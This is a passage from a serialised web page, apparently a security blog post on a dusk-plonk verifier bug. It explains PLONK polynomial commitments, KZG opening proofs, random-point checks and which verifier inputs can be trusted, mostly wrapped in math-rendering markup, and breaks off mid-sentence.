",{"type":25,"tag":82,"props":147726,"children":147728},{"className":147727},[212,4696],[147729],{"type":25,"tag":216,"props":147730,"children":147732},{"className":147731},[224],[147733],{"type":25,"tag":216,"props":147734,"children":147736},{"className":147735,"ariaHidden":230},[229],[147737],{"type":25,"tag":216,"props":147738,"children":147740},{"className":147739},[235],[147741,147745,147750,147755,147760],{"type":25,"tag":216,"props":147742,"children":147744},{"className":147743,"style":5507},[240],[],{"type":25,"tag":216,"props":147746,"children":147748},{"className":147747,"style":2146},[246,2145],[147749],{"type":31,"value":177},{"type":25,"tag":216,"props":147751,"children":147753},{"className":147752},[287],[147754],{"type":31,"value":1844},{"type":25,"tag":216,"props":147756,"children":147758},{"className":147757},[246,2145],[147759],{"type":31,"value":2535},{"type":25,"tag":216,"props":147761,"children":147763},{"className":147762},[427],[147764],{"type":31,"value":1882},{"type":31,"value":25458},{"type":25,"tag":82,"props":147767,"children":147769},{"className":147768},[212,4696],[147770],{"type":25,"tag":216,"props":147771,"children":147773},{"className":147772},[224],[147774],{"type":25,"tag":216,"props":147775,"children":147777},{"className":147776,"ariaHidden":230},[229],[147778,147819,147860],{"type":25,"tag":216,"props":147779,"children":147781},{"className":147780},[235],[147782,147786,147791,147796,147801,147806,147810,147815],{"type":25,"tag":216,"props":147783,"children":147785},{"className":147784,"style":5507},[240],[],{"type":25,"tag":216,"props":147787,"children":147789},{"className":147788,"style":2146},[246,2145],[147790],{"type":31,"value":5941},{"type":25,"tag":216,"props":147792,"children":147794},{"className":147793},[287],[147795],{"type":31,"value":1844},{"type":25,"tag":216,"props":147797,"children":147799},{"className":147798},[246,2145],[147800],{"type":31,"value":2535},{"type":25,"tag":216,"props":147802,"children":147804},{"className":147803},[427],[147805],{"type":31,"value":1882},{"type":25,"tag":216,"props":147807,"children":147809},{"className":147808,"style":258},[257],[],{"type":25,"tag":216,"props":147811,"children":147813},{"className":147812},[263],[147814],{"type":31,"value":266},{"type":25,"tag":216,"props":147816,"children":147818},{"className":147817,"style":258},[257],[],{"type":25,"tag":216,"props":147820,"children":147822},{"className":147821},[235],[147823,147827,147832,147837,147842,147847,147851,147856],{"type":25,"tag":216,"props":147824,"children":147826},{"className":147825,"style":5507},[240],[],{"type":25,"tag":216,"props":147828,"children":147830},{"className":147829,"style":2146},[246,2145],[147831],{"type":31,"value":177},{"type":25,"tag":216,"props":147833,"children":147835},{"className":147834},[287],[147836],{"type":31,"value":1844},{"type":25,"tag":216,"props":147838,"children":147840},{"className":147839},[246,2145],[147841],{"type":31,"value":2535},{"type":25,"tag":216,"props":147843,"children":147845},{"className":147844},[427],[147846],{"type":31,"value":1882},{"type":25,"tag":216,"props":147848,"children":147850},{"className":147849,"style":335},[257],[],{"type":25,"tag":216,"props":147852,"children":147854},{"className":147853},[340],[147855],{"type":31,"value":343},{"type":25,"tag":216,"props":147857,"children":147859},{"className":147858,"style":335},[257],[],{"type":25,"tag":216,"props":147861,"children":147863},{"className":147862},[235],[147864,147868,147873,147878,147883],{"type":25,"tag":216,"props":147865,"children":147867},{"className":147866,"style":5507},[240],[],{"type":25,"tag":216,"props":147869,"children":147871},{"className":147870,"style":26059},[246,2145],[147872],{"type":31,"value":147534},{"type":25,"tag":216,"props":147874,"children":147876},{"className":147875},[287],[147877],{"type":31,"value":1844},{"type":25,"tag":216,"props":147879,"children":147881},{"className":147880},[246,2145],[147882],{"type":31,"value":2535},{"type":25,"tag":216,"props":147884,"children":147886},{"className":147885},[427],[147887],{"type":31,"value":1882},{"type":31,"value":179},{"type":25,"tag":38,"props":147890,"children":147891},{},[147892],{"type":25,"tag":6461,"props":147893,"children":147896},{"alt":147894,"src":147895},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":25,"tag":607,"props":147898,"children":147900},{"id":147899},"polynomial-commitments-and-opening-proofs",[147901],{"type":31,"value":147902},"Polynomial commitments and opening proofs",{"type":25,"tag":38,"props":147904,"children":147905},{},[147906,147908,147913,147915,147920],{"type":31,"value":147907},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":25,"tag":64,"props":147909,"children":147910},{},[147911],{"type":31,"value":147912},"commitments",{"type":31,"value":147914},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":25,"tag":64,"props":147916,"children":147917},{},[147918],{"type":31,"value":147919},"opening proof",{"type":31,"value":147921}," that the claimed value is consistent with the earlier commitment.",{"type":25,"tag":38,"props":147923,"children":147924},{},[147925],{"type":31,"value":147926},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":25,"tag":607,"props":147928,"children":147930},{"id":147929},"reducing-to-a-single-random-point",[147931],{"type":31,"value":147932},"Reducing to a single random point",{"type":25,"tag":38,"props":147934,"children":147935},{},[147936,147938,147978,147980,148005,148007,148129,148131,148156],{"type":31,"value":147937},"After the prover commits to all polynomials, including ",{"type":25,"tag":82,"props":147939,"children":147941},{"className":147940},[212,4696],[147942],{"type":25,"tag":216,"props":147943,"children":147945},{"className":147944},[224],[147946],{"type":25,"tag":216,"props":147947,"children":147949},{"className":147948,"ariaHidden":230},[229],[147950],{"type":25,"tag":216,"props":147951,"children":147953},{"className":147952},[235],[147954,147958,147963,147968,147973],{"type":25,"tag":216,"props":147955,"children":147957},{"className":147956,"style":5507},[240],[],{"type":25,"tag":216,"props":147959,"children":147961},{"className":147960,"style":2146},[246,2145],[147962],{"type":31,"value":177},{"type":25,"tag":216,"props":147964,"children":147966},{"className":147965},[287],[147967],{"type":31,"value":1844},{"type":25,"tag":216,"props":147969,"children":147971},{"className":147970},[246,2145],[147972],{"type":31,"value":2535},{"type":25,"tag":216,"props":147974,"children":147976},{"className":147975},[427],[147977],{"type":31,"value":1882},{"type":31,"value":147979},", the verifier picks a random challenge point ",{"type":25,"tag":82,"props":147981,"children":147983},{"className":147982},[212,4696],[147984],{"type":25,"tag":216,"props":147985,"children":147987},{"className":147986},[224],[147988],{"type":25,"tag":216,"props":147989,"children":147991},{"className":147990,"ariaHidden":230},[229],[147992],{"type":25,"tag":216,"props":147993,"children":147995},{"className":147994},[235],[147996,148000],{"type":25,"tag":216,"props":147997,"children":147999},{"className":147998,"style":6309},[240],[],{"type":25,"tag":216,"props":148001,"children":148003},{"className":148002,"style":117538},[246,2145],[148004],{"type":31,"value":117541},{"type":31,"value":148006}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":25,"tag":82,"props":148008,"children":148010},{"className":148009},[212,4696],[148011],{"type":25,"tag":216,"props":148012,"children":148014},{"className":148013},[224],[148015],{"type":25,"tag":216,"props":148016,"children":148018},{"className":148017,"ariaHidden":230},[229],[148019,148060,148101],{"type":25,"tag":216,"props":148020,"children":148022},{"className":148021},[235],[148023,148027,148032,148037,148042,148047,148051,148056],{"type":25,"tag":216,"props":148024,"children":148026},{"className":148025,"style":5507},[240],[],{"type":25,"tag":216,"props":148028,"children":148030},{"className":148029,"style":2146},[246,2145],[148031],{"type":31,"value":5941},{"type":25,"tag":216,"props":148033,"children":148035},{"className":148034},[287],[148036],{"type":31,"value":1844},{"type":25,"tag":216,"props":148038,"children":148040},{"className":148039,"style":117538},[246,2145],[148041],{"type":31,"value":117541},{"type":25,"tag":216,"props":148043,"children":148045},{"className":148044},[427],[148046],{"type":31,"value":1882},{"type":25,"tag":216,"props":148048,"children":148050},{"className":148049,"style":258},[257],[],{"type":25,"tag":216,"props":148052,"children":148054},{"className":148053},[263],[148055],{"type":31,"value":266},{"type":25,"tag":216,"props":148057,"children":148059},{"className":148058,"style":258},[257],[],{"type":25,"tag":216,"props":148061,"children":148063},{"className":148062},[235],[148064,148068,148073,148078,148083,148088,148092,148097],{"type":25,"tag":216,"props":148065,"children":148067},{"className":148066,"style":5507},[240],[],{"type":25,"tag":216,"props":148069,"children":148071},{"className":148070,"style":2146},[246,2145],[148072],{"type":31,"value":177},{"type":25,"tag":216,"props":148074,"children":148076},{"className":148075},[287],[148077],{"type":31,"value":1844},{"type":25,"tag":216,"props":148079,"children":148081},{"className":148080,"style":117538},[246,2145],[148082],{"type":31,"value":117541},{"type":25,"tag":216,"props":148084,"children":148086},{"className":148085},[427],[148087],{"type":31,"value":1882},{"type":25,"tag":216,"props":148089,"children":148091},{"className":148090,"style":335},[257],[],{"type":25,"tag":216,"props":148093,"children":148095},{"className":148094},[340],[148096],{"type":31,"value":343},{"type":25,"tag":216,"props":148098,"children":148100},{"className":148099,"style":335},[257],[],{"type":25,"tag":216,"props":148102,"children":148104},{"className":148103},[235],[148105,148109,148114,148119,148124],{"type":25,"tag":216,"props":148106,"children":148108},{"className":148107,"style":5507},[240],[],{"type":25,"tag":216,"props":148110,"children":148112},{"className":148111,"style":26059},[246,2145],[148113],{"type":31,"value":147534},{"type":25,"tag":216,"props":148115,"children":148117},{"className":148116},[287],[148118],{"type":31,"value":1844},{"type":25,"tag":216,"props":148120,"children":148122},{"className":148121,"style":117538},[246,2145],[148123],{"type":31,"value":117541},{"type":25,"tag":216,"props":148125,"children":148127},{"className":148126},[427],[148128],{"type":31,"value":1882},{"type":31,"value":148130}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":25,"tag":82,"props":148132,"children":148134},{"className":148133},[212,4696],[148135],{"type":25,"tag":216,"props":148136,"children":148138},{"className":148137},[224],[148139],{"type":25,"tag":216,"props":148140,"children":148142},{"className":148141,"ariaHidden":230},[229],[148143],{"type":25,"tag":216,"props":148144,"children":148146},{"className":148145},[235],[148147,148151],{"type":25,"tag":216,"props":148148,"children":148150},{"className":148149,"style":6309},[240],[],{"type":25,"tag":216,"props":148152,"children":148154},{"className":148153,"style":117538},[246,2145],[148155],{"type":31,"value":117541},{"type":31,"value":148157}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":25,"tag":38,"props":148159,"children":148160},{},[148161,148163,148188,148190,148195],{"type":31,"value":148162},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":25,"tag":82,"props":148164,"children":148166},{"className":148165},[212,4696],[148167],{"type":25,"tag":216,"props":148168,"children":148170},{"className":148169},[224],[148171],{"type":25,"tag":216,"props":148172,"children":148174},{"className":148173,"ariaHidden":230},[229],[148175],{"type":25,"tag":216,"props":148176,"children":148178},{"className":148177},[235],[148179,148183],{"type":25,"tag":216,"props":148180,"children":148182},{"className":148181,"style":6309},[240],[],{"type":25,"tag":216,"props":148184,"children":148186},{"className":148185,"style":117538},[246,2145],[148187],{"type":31,"value":117541},{"type":31,"value":148189},", the prover supplies ",{"type":25,"tag":64,"props":148191,"children":148192},{},[148193],{"type":31,"value":148194},"evaluation claims",{"type":31,"value":148196}," that must be checked against those commitments with opening proofs.",{"type":25,"tag":38,"props":148198,"children":148199},{},[148200,148202,148206],{"type":31,"value":148201},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":25,"tag":64,"props":148203,"children":148204},{},[148205],{"type":31,"value":108543},{"type":31,"value":148207}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":25,"tag":607,"props":148209,"children":148211},{"id":148210},"what-the-verifier-is-actually-allowed-to-trust",[148212],{"type":31,"value":148213},"What the verifier is actually allowed to trust",{"type":25,"tag":38,"props":148215,"children":148216},{},[148217,148219,148224],{"type":31,"value":148218},"For this bug, one invariant matters more than the rest: ",{"type":25,"tag":9267,"props":148220,"children":148221},{},[148222],{"type":31,"value":148223},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":31,"value":179},{"type":25,"tag":38,"props":148226,"children":148227},{},[148228,148230,148322,148323,148415,148417,148442,148444,148484,148485,148525,148526,148619,148620,148666,148668,148755,148756,148843,148844,148931],{"type":31,"value":148229},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":25,"tag":82,"props":148231,"children":148233},{"className":148232},[212,4696],[148234],{"type":25,"tag":216,"props":148235,"children":148237},{"className":148236},[224],[148238],{"type":25,"tag":216,"props":148239,"children":148241},{"className":148240,"ariaHidden":230},[229],[148242],{"type":25,"tag":216,"props":148243,"children":148245},{"className":148244},[235],[148246,148250,148307,148312,148317],{"type":25,"tag":216,"props":148247,"children":148249},{"className":148248,"style":5507},[240],[],{"type":25,"tag":216,"props":148251,"children":148253},{"className":148252},[246],[148254,148259],{"type":25,"tag":216,"props":148255,"children":148257},{"className":148256,"style":26059},[246,2145],[148258],{"type":31,"value":147534},{"type":25,"tag":216,"props":148260,"children":148262},{"className":148261},[2153],[148263],{"type":25,"tag":216,"props":148264,"children":148266},{"className":148265},[298,299],[148267,148296],{"type":25,"tag":216,"props":148268,"children":148270},{"className":148269},[304],[148271,148291],{"type":25,"tag":216,"props":148272,"children":148274},{"className":148273,"style":2692},[309],[148275],{"type":25,"tag":216,"props":148276,"children":148277},{"style":120226},[148278,148282],{"type":25,"tag":216,"props":148279,"children":148281},{"className":148280,"style":2175},[319],[],{"type":25,"tag":216,"props":148283,"children":148285},{"className":148284},[2180,2181,2182,2183],[148286],{"type":25,"tag":216,"props":148287,"children":148289},{"className":148288,"style":2673},[246,2145,2183],[148290],{"type":31,"value":2676},{"type":25,"tag":216,"props":148292,"children":148294},{"className":148293},[408],[148295],{"type":31,"value":411},{"type":25,"tag":216,"props":148297,"children":148299},{"className":148298},[304],[148300],{"type":25,"tag":216,"props":148301,"children":148303},{"className":148302,"style":2203},[309],[148304],{"type":25,"tag":216,"props":148305,"children":148306},{},[],{"type":25,"tag":216,"props":148308,"children":148310},{"className":148309},[287],[148311],{"type":31,"value":1844},{"type":25,"tag":216,"props":148313,"children":148315},{"className":148314,"style":117538},[246,2145],[148316],{"type":31,"value":117541},{"type":25,"tag":216,"props":148318,"children":148320},{"className":148319},[427],[148321],{"type":31,"value":1882},{"type":31,"value":7020},{"type":25,"tag":82,"props":148324,"children":148326},{"className":148325},[212,4696],[148327],{"type":25,"tag":216,"props":148328,"children":148330},{"className":148329},[224],[148331],{"type":25,"tag":216,"props":148332,"children":148334},{"className":148333,"ariaHidden":230},[229],[148335],{"type":25,"tag":216,"props":148336,"children":148338},{"className":148337},[235],[148339,148343,148400,148405,148410],{"type":25,"tag":216,"props":148340,"children":148342},{"className":148341,"style":5507},[240],[],{"type":25,"tag":216,"props":148344,"children":148346},{"className":148345},[246],[148347,148352],{"type":25,"tag":216,"props":148348,"children":148350},{"className":148349},[246,2145],[148351],{"type":31,"value":121941},{"type":25,"tag":216,"props":148353,"children":148355},{"className":148354},[2153],[148356],{"type":25,"tag":216,"props":148357,"children":148359},{"className":148358},[298,299],[148360,148389],{"type":25,"tag":216,"props":148361,"children":148363},{"className":148362},[304],[148364,148384],{"type":25,"tag":216,"props":148365,"children":148367},{"className":148366,"style":97063},[309],[148368],{"type":25,"tag":216,"props":148369,"children":148370},{"style":2268},[148371,148375],{"type":25,"tag":216,"props":148372,"children":148374},{"className":148373,"style":2175},[319],[],{"type":25,"tag":216,"props":148376,"children":148378},{"className":148377},[2180,2181,2182,2183],[148379],{"type":25,"tag":216,"props":148380,"children":148382},{"className":148381},[246,2183],[148383],{"type":31,"value":184},{"type":25,"tag":216,"props":148385,"children":148387},{"className":148386},[408],[148388],{"type":31,"value":411},{"type":25,"tag":216,"props":148390,"children":148392},{"className":148391},[304],[148393],{"type":25,"tag":216,"props":148394,"children":148396},{"className":148395,"style":2203},[309],[148397],{"type":25,"tag":216,"props":148398,"children":148399},{},[],{"type":25,"tag":216,"props":148401,"children":148403},{"className":148402},[287],[148404],{"type":31,"value":1844},{"type":25,"tag":216,"props":148406,"children":148408},{"className":148407,"style":117538},[246,2145],[148409],{"type":31,"value":117541},{"type":25,"tag":216,"props":148411,"children":148413},{"className":148412},[427],[148414],{"type":31,"value":1882},{"type":31,"value":148416},", the public-input polynomial at ",{"type":25,"tag":82,"props":148418,"children":148420},{"className":148419},[212,4696],[148421],{"type":25,"tag":216,"props":148422,"children":148424},{"className":148423},[224],[148425],{"type":25,"tag":216,"props":148426,"children":148428},{"className":148427,"ariaHidden":230},[229],[148429],{"type":25,"tag":216,"props":148430,"children":148432},{"className":148431},[235],[148433,148437],{"type":25,"tag":216,"props":148434,"children":148436},{"className":148435,"style":6309},[240],[],{"type":25,"tag":216,"props":148438,"children":148440},{"className":148439,"style":117538},[246,2145],[148441],{"type":31,"value":117541},{"type":31,"value":148443},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":25,"tag":82,"props":148445,"children":148447},{"className":148446},[212,4696],[148448],{"type":25,"tag":216,"props":148449,"children":148451},{"className":148450},[224],[148452],{"type":25,"tag":216,"props":148453,"children":148455},{"className":148454,"ariaHidden":230},[229],[148456],{"type":25,"tag":216,"props":148457,"children":148459},{"className":148458},[235],[148460,148464,148469,148474,148479],{"type":25,"tag":216,"props":148461,"children":148463},{"className":148462,"style":5507},[240],[],{"type":25,"tag":216,"props":148465,"children":148467},{"className":148466},[246,2145],[148468],{"type":31,"value":162},{"type":25,"tag":216,"props":148470,"children":148472},{"className":148471},[287],[148473],{"type":31,"value":1844},{"type":25,"tag":216,"props":148475,"children":148477},{"className":148476,"style":117538},[246,2145],[148478],{"type":31,"value":117541},{"type":25,"tag":216,"props":148480,"children":148482},{"className":148481},[427],[148483],{"type":31,"value":1882},{"type":31,"value":7020},{"type":25,"tag":82,"props":148486,"children":148488},{"className":148487},[212,4696],[148489],{"type":25,"tag":216,"props":148490,"children":148492},{"className":148491},[224],[148493],{"type":25,"tag":216,"props":148494,"children":148496},{"className":148495,"ariaHidden":230},[229],[148497],{"type":25,"tag":216,"props":148498,"children":148500},{"className":148499},[235],[148501,148505,148510,148515,148520],{"type":25,"tag":216,"props":148502,"children":148504},{"className":148503,"style":5507},[240],[],{"type":25,"tag":216,"props":148506,"children":148508},{"className":148507},[246,2145],[148509],{"type":31,"value":7165},{"type":25,"tag":216,"props":148511,"children":148513},{"className":148512},[287],[148514],{"type":31,"value":1844},{"type":25,"tag":216,"props":148516,"children":148518},{"className":148517,"style":117538},[246,2145],[148519],{"type":31,"value":117541},{"type":25,"tag":216,"props":148521,"children":148523},{"className":148522},[427],[148524],{"type":31,"value":1882},{"type":31,"value":7020},{"type":25,"tag":82,"props":148527,"children":148529},{"className":148528},[212,4696],[148530],{"type":25,"tag":216,"props":148531,"children":148533},{"className":148532},[224],[148534],{"type":25,"tag":216,"props":148535,"children":148537},{"className":148536,"ariaHidden":230},[229],[148538],{"type":25,"tag":216,"props":148539,"children":148541},{"className":148540},[235],[148542,148546,148604,148609,148614],{"type":25,"tag":216,"props":148543,"children":148545},{"className":148544,"style":5507},[240],[],{"type":25,"tag":216,"props":148547,"children":148549},{"className":148548},[246],[148550,148556],{"type":25,"tag":216,"props":148551,"children":148553},{"className":148552,"style":2319},[246,2145],[148554],{"type":31,"value":148555},"σ",{"type":25,"tag":216,"props":148557,"children":148559},{"className":148558},[2153],[148560],{"type":25,"tag":216,"props":148561,"children":148563},{"className":148562},[298,299],[148564,148593],{"type":25,"tag":216,"props":148565,"children":148567},{"className":148566},[304],[148568,148588],{"type":25,"tag":216,"props":148569,"children":148571},{"className":148570,"style":97063},[309],[148572],{"type":25,"tag":216,"props":148573,"children":148574},{"style":2341},[148575,148579],{"type":25,"tag":216,"props":148576,"children":148578},{"className":148577,"style":2175},[319],[],{"type":25,"tag":216,"props":148580,"children":148582},{"className":148581},[2180,2181,2182,2183],[148583],{"type":25,"tag":216,"props":148584,"children":148586},{"className":148585},[246,2183],[148587],{"type":31,"value":184},{"type":25,"tag":216,"props":148589,"children":148591},{"className":148590},[408],[148592],{"type":31,"value":411},{"type":25,"tag":216,"props":148594,"children":148596},{"className":148595},[304],[148597],{"type":25,"tag":216,"props":148598,"children":148600},{"className":148599,"style":2203},[309],[148601],{"type":25,"tag":216,"props":148602,"children":148603},{},[],{"type":25,"tag":216,"props":148605,"children":148607},{"className":148606},[287],[148608],{"type":31,"value":1844},{"type":25,"tag":216,"props":148610,"children":148612},{"className":148611,"style":117538},[246,2145],[148613],{"type":31,"value":117541},{"type":25,"tag":216,"props":148615,"children":148617},{"className":148616},[427],[148618],{"type":31,"value":1882},{"type":31,"value":7020},{"type":25,"tag":82,"props":148621,"children":148623},{"className":148622},[212,4696],[148624],{"type":25,"tag":216,"props":148625,"children":148627},{"className":148626},[224],[148628],{"type":25,"tag":216,"props":148629,"children":148631},{"className":148630,"ariaHidden":230},[229],[148632],{"type":25,"tag":216,"props":148633,"children":148635},{"className":148634},[235],[148636,148640,148645,148650,148655,148661],{"type":25,"tag":216,"props":148637,"children":148639},{"className":148638,"style":5507},[240],[],{"type":25,"tag":216,"props":148641,"children":148643},{"className":148642},[246,2145],[148644],{"type":31,"value":162},{"type":25,"tag":216,"props":148646,"children":148648},{"className":148647},[287],[148649],{"type":31,"value":1844},{"type":25,"tag":216,"props":148651,"children":148653},{"className":148652,"style":117538},[246,2145],[148654],{"type":31,"value":117541},{"type":25,"tag":216,"props":148656,"children":148658},{"className":148657,"style":2319},[246,2145],[148659],{"type":31,"value":148660},"ω",{"type":25,"tag":216,"props":148662,"children":148664},{"className":148663},[427],[148665],{"type":31,"value":1882},{"type":31,"value":148667},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":25,"tag":82,"props":148669,"children":148671},{"className":148670},[212,4696],[148672],{"type":25,"tag":216,"props":148673,"children":148675},{"className":148674},[224],[148676],{"type":25,"tag":216,"props":148677,"children":148679},{"className":148678,"ariaHidden":230},[229],[148680],{"type":25,"tag":216,"props":148681,"children":148683},{"className":148682},[235],[148684,148688,148693,148750],{"type":25,"tag":216,"props":148685,"children":148687},{"className":148686,"style":5507},[240],[],{"type":25,"tag":216,"props":148689,"children":148691},{"className":148690},[287],[148692],{"type":31,"value":7695},{"type":25,"tag":216,"props":148694,"children":148696},{"className":148695},[246],[148697,148702],{"type":25,"tag":216,"props":148698,"children":148700},{"className":148699,"style":2319},[246,2145],[148701],{"type":31,"value":97495},{"type":25,"tag":216,"props":148703,"children":148705},{"className":148704},[2153],[148706],{"type":25,"tag":216,"props":148707,"children":148709},{"className":148708},[298,299],[148710,148739],{"type":25,"tag":216,"props":148711,"children":148713},{"className":148712},[304],[148714,148734],{"type":25,"tag":216,"props":148715,"children":148717},{"className":148716,"style":2692},[309],[148718],{"type":25,"tag":216,"props":148719,"children":148720},{"style":2341},[148721,148725],{"type":25,"tag":216,"props":148722,"children":148724},{"className":148723,"style":2175},[319],[],{"type":25,"tag":216,"props":148726,"children":148728},{"className":148727},[2180,2181,2182,2183],[148729],{"type":25,"tag":216,"props":148730,"children":148732},{"className":148731,"style":2818},[246,2145,2183],[148733],{"type":31,"value":99012},{"type":25,"tag":216,"props":148735,"children":148737},{"className":148736},[408],[148738],{"type":31,"value":411},{"type":25,"tag":216,"props":148740,"children":148742},{"className":148741},[304],[148743],{"type":25,"tag":216,"props":148744,"children":148746},{"className":148745,"style":2203},[309],[148747],{"type":25,"tag":216,"props":148748,"children":148749},{},[],{"type":25,"tag":216,"props":148751,"children":148753},{"className":148752},[427],[148754],{"type":31,"value":19362},{"type":31,"value":7020},{"type":25,"tag":82,"props":148757,"children":148759},{"className":148758},[212,4696],[148760],{"type":25,"tag":216,"props":148761,"children":148763},{"className":148762},[224],[148764],{"type":25,"tag":216,"props":148765,"children":148767},{"className":148766,"ariaHidden":230},[229],[148768],{"type":25,"tag":216,"props":148769,"children":148771},{"className":148770},[235],[148772,148776,148781,148838],{"type":25,"tag":216,"props":148773,"children":148775},{"className":148774,"style":5507},[240],[],{"type":25,"tag":216,"props":148777,"children":148779},{"className":148778},[287],[148780],{"type":31,"value":7695},{"type":25,"tag":216,"props":148782,"children":148784},{"className":148783},[246],[148785,148790],{"type":25,"tag":216,"props":148786,"children":148788},{"className":148787,"style":2319},[246,2145],[148789],{"type":31,"value":97495},{"type":25,"tag":216,"props":148791,"children":148793},{"className":148792},[2153],[148794],{"type":25,"tag":216,"props":148795,"children":148797},{"className":148796},[298,299],[148798,148827],{"type":25,"tag":216,"props":148799,"children":148801},{"className":148800},[304],[148802,148822],{"type":25,"tag":216,"props":148803,"children":148805},{"className":148804,"style":2692},[309],[148806],{"type":25,"tag":216,"props":148807,"children":148808},{"style":2341},[148809,148813],{"type":25,"tag":216,"props":148810,"children":148812},{"className":148811,"style":2175},[319],[],{"type":25,"tag":216,"props":148814,"children":148816},{"className":148815},[2180,2181,2182,2183],[148817],{"type":25,"tag":216,"props":148818,"children":148820},{"className":148819,"style":2746},[246,2145,2183],[148821],{"type":31,"value":119296},{"type":25,"tag":216,"props":148823,"children":148825},{"className":148824},[408],[148826],{"type":31,"value":411},{"type":25,"tag":216,"props":148828,"children":148830},{"className":148829},[304],[148831],{"type":25,"tag":216,"props":148832,"children":148834},{"className":148833,"style":2203},[309],[148835],{"type":25,"tag":216,"props":148836,"children":148837},{},[],{"type":25,"tag":216,"props":148839,"children":148841},{"className":148840},[427],[148842],{"type":31,"value":19362},{"type":31,"value":7020},{"type":25,"tag":82,"props":148845,"children":148847},{"className":148846},[212,4696],[148848],{"type":25,"tag":216,"props":148849,"children":148851},{"className":148850},[224],[148852],{"type":25,"tag":216,"props":148853,"children":148855},{"className":148854,"ariaHidden":230},[229],[148856],{"type":25,"tag":216,"props":148857,"children":148859},{"className":148858},[235],[148860,148864,148869,148926],{"type":25,"tag":216,"props":148861,"children":148863},{"className":148862,"style":5507},[240],[],{"type":25,"tag":216,"props":148865,"children":148867},{"className":148866},[287],[148868],{"type":31,"value":7695},{"type":25,"tag":216,"props":148870,"children":148872},{"className":148871},[246],[148873,148878],{"type":25,"tag":216,"props":148874,"children":148876},{"className":148875,"style":2319},[246,2145],[148877],{"type":31,"value":148555},{"type":25,"tag":216,"props":148879,"children":148881},{"className":148880},[2153],[148882],{"type":25,"tag":216,"props":148883,"children":148885},{"className":148884},[298,299],[148886,148915],{"type":25,"tag":216,"props":148887,"children":148889},{"className":148888},[304],[148890,148910],{"type":25,"tag":216,"props":148891,"children":148893},{"className":148892,"style":97063},[309],[148894],{"type":25,"tag":216,"props":148895,"children":148896},{"style":2341},[148897,148901],{"type":25,"tag":216,"props":148898,"children":148900},{"className":148899,"style":2175},[319],[],{"type":25,"tag":216,"props":148902,"children":148904},{"className":148903},[2180,2181,2182,2183],[148905],{"type":25,"tag":216,"props":148906,"children":148908},{"className":148907},[246,2183],[148909],{"type":31,"value":21480},{"type":25,"tag":216,"props":148911,"children":148913},{"className":148912},[408],[148914],{"type":31,"value":411},{"type":25,"tag":216,"props":148916,"children":148918},{"className":148917},[304],[148919],{"type":25,"tag":216,"props":148920,"children":148922},{"className":148921,"style":2203},[309],[148923],{"type":25,"tag":216,"props":148924,"children":148925},{},[],{"type":25,"tag":216,"props":148927,"children":148929},{"className":148928},[427],[148930],{"type":31,"value":19362},{"type":31,"value":148932},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":25,"tag":38,"props":148934,"children":148935},{},[148936],{"type":31,"value":148937},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":25,"tag":22747,"props":148939,"children":148940},{},[],{"type":25,"tag":26,"props":148942,"children":148944},{"id":148943},"where-dusk-plonk-differs-from-textbook-plonk",[148945],{"type":31,"value":148946},"Where dusk-plonk differs from textbook PLONK",{"type":25,"tag":38,"props":148948,"children":148949},{},[148950,148959,148961,148966,148968,148998],{"type":25,"tag":162,"props":148951,"children":148953},{"href":145827,"rel":148952},[166],[148954],{"type":25,"tag":82,"props":148955,"children":148957},{"className":148956},[],[148958],{"type":31,"value":145831},{"type":31,"value":148960}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":25,"tag":82,"props":148962,"children":148964},{"className":148963},[],[148965],{"type":31,"value":74528},{"type":31,"value":148967},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":25,"tag":82,"props":148969,"children":148971},{"className":148970},[212,4696],[148972],{"type":25,"tag":216,"props":148973,"children":148975},{"className":148974},[224],[148976],{"type":25,"tag":216,"props":148977,"children":148979},{"className":148978,"ariaHidden":230},[229],[148980],{"type":25,"tag":216,"props":148981,"children":148983},{"className":148982},[235],[148984,148988,148993],{"type":25,"tag":216,"props":148985,"children":148987},{"className":148986,"style":6309},[240],[],{"type":25,"tag":216,"props":148989,"children":148991},{"className":148990,"style":117538},[246,2145],[148992],{"type":31,"value":117541},{"type":25,"tag":216,"props":148994,"children":148996},{"className":148995,"style":2319},[246,2145],[148997],{"type":31,"value":148660},{"type":31,"value":148999},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":25,"tag":38,"props":149001,"children":149002},{},[149003,149005,149010,149011,149016,149018,149024,149026,149033],{"type":31,"value":149004},"The important part for this bug is the boundary between ",{"type":25,"tag":9267,"props":149006,"children":149007},{},[149008],{"type":31,"value":149009},"public circuit data",{"type":31,"value":1301},{"type":25,"tag":9267,"props":149012,"children":149013},{},[149014],{"type":31,"value":149015},"prover claims about that data at the random challenge point",{"type":31,"value":149017},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":25,"tag":82,"props":149019,"children":149021},{"className":149020},[],[149022],{"type":31,"value":149023},"Ql, Qr, Qm, Qo, Qk",{"type":31,"value":149025}," directly into the 